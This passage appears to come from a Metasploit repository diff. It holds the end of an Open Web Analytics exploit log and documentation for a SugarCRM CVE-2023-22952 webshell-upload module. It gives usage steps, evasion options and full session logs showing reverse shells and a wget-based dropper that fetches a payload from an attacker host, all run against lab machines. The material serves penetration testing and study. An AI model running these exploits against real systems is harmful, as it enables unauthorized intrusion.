[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
|
||||
[+] Connected to http://127.0.0.1/ successfully!
|
||||
[*] Attempting to find cache of 'admin' user
|
||||
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
|
||||
[+] Changed the password of 'admin' to 'pwned'
|
||||
[+] Logged in as admin user
|
||||
[*] Creating log file
|
||||
[+] Wrote payload to file
|
||||
[*] Sending stage (39927 bytes) to 172.22.0.3
|
||||
[+] Deleted QY0yivK4.php
|
||||
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
|
||||
[+] Triggering payload! Check your listener!
|
||||
|
||||
meterpreter > pwd
|
||||
/var/www/html/owa-data/caches
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,195 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise,
|
||||
Professional, Sell, Serve, and Ultimate versions prior to `11.0.5` and SugarCRM 12.0 Enterprise, Sell, and
|
||||
Serve versions prior to `12.0.2`.
|
||||
|
||||
The vulnerability occurs due to a lack of appropriate validation when uploading a malicious `PNG` file with
|
||||
embedded PHP code to the `/cache/images/` directory on the web server using the vulnerable endpoint
|
||||
`/index.php?module=EmailTemplates&action=AttachFiles`. Once uploaded to the server, depending on server configuration,
|
||||
the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and
|
||||
gaining access to the system.
|
||||
|
||||
This vulnerability does not require authentication because there is a missing authentication check in the
|
||||
`loadUser()` method in `include/MVC/SugarApplication.php`. After a failed login, the session does not get
|
||||
destroyed and hence the attacker can continue to send valid requests to the application. See this
|
||||
[AttackerKB Article](https://attackerkb.com/topics/E486ui94II/cve-2023-22952) for more details.
|
||||
|
||||
Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain
|
||||
access to the underlying operating system as the user that the web services are running as (typically `www-data`).
|
||||
|
||||
Installing a vulnerable test bed requires a Linux machine with the vulnerable SugarCRM software loaded.
|
||||
Follow instructions [here](https://support.sugarcrm.com/Documentation/Sugar_Versions/11.0/Ent/Installation_and_Upgrade_Guide/),
|
||||
but you need to be registered as a sugarcrm customer in order to access the software.
|
||||
This module has been tested against a SugarCRM installation with the specifications listed below:
|
||||
|
||||
* SugarCRM Enterprise Edition
|
||||
* Version: `11.0.4`
|
||||
* Build: `300`
|
||||
* Linux OS: Debian 8.6
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/multi/http/sugarcrm_webshell_cve_2023_22952`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set RPORT <port>`
|
||||
1. `set LHOST <attacker host ip>`
|
||||
1. `set LPORT <attacker host port>`
|
||||
1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>`
|
||||
1. `exploit`
|
||||
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.
|
||||
|
||||
## Options
|
||||
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename and extension of the webshell.
|
||||
This is handy if you want to test the webshell upload and execution with different file extensions (.phtml, .php7, .inc)
|
||||
to bypass any security settings on the Web and PHP server.
|
||||
|
||||
### COMMAND
|
||||
This option provides the user to choose the PHP underlying shell command function to be used for execution.
|
||||
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
|
||||
This option is only available when the target selected is either Unix Command or Linux Dropper.
|
||||
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - PHP Meterpreter session
|
||||
```
|
||||
msf6 > use exploit/multi/http/sugarcrm_webshell_cve_2023_22952
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > options
|
||||
|
||||
Module options (exploit/multi/http/sugarcrm_webshell_cve_2023_22952):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes SugarCRM base url
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell
|
||||
name will be randomly generated if left unset.
|
||||
|
||||
|
||||
When TARGET is not 0:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or
|
||||
0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 PHP
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180
|
||||
rhosts => 192.168.100.180
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254
|
||||
lhost => 192.168.100.254
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.254:4444
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.100.180
|
||||
[+] Deleted cXSbMSaTtcnn.phtml
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-02-15 14:11:23 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : sugarcrm
|
||||
OS : Debian 8.6 (Linux 2.6.32)
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > exit
|
||||
```
|
||||
|
||||
### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - bash reverse shell
|
||||
```
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180
|
||||
rhosts => 192.168.100.180
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254
|
||||
lhost => 192.168.100.254
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.254:4444
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] Deleted RPXrYGLCvGjL.phar
|
||||
[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-01-19 19:14:56 +0000
|
||||
|
||||
whoami
|
||||
www-data
|
||||
exit
|
||||
```
|
||||
|
||||
### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - Linux Meterpreter session
|
||||
```
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180
|
||||
rhosts => 192.168.100.180
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254
|
||||
lhost => 192.168.100.254
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444
|
||||
lport => 4444
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.254:4444
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.100.254:8080/aLYDt2
|
||||
[*] Client 127.0.0.1 (Wget/1.16 (linux-gnu)) requested /aLYDt2
|
||||
[*] Sending payload to 127.0.0.1 (Wget/1.16 (linux-gnu))
|
||||
[*] Sending stage (3045348 bytes) to 127.0.0.1
|
||||
[+] Deleted ZxGTSVGsOUZs.phtml
|
||||
[*] Meterpreter session 3 opened (127.0.0.1:4444 -> 127.0.0.1:43076) at 2023-01-19 19:16:07 +0000
|
||||
[*] Command Stager progress - 100.00% done (121/121 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : sugarcrm
|
||||
OS : Debian 8.6 (Linux 2.6.32)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > exit
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No `check` method.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user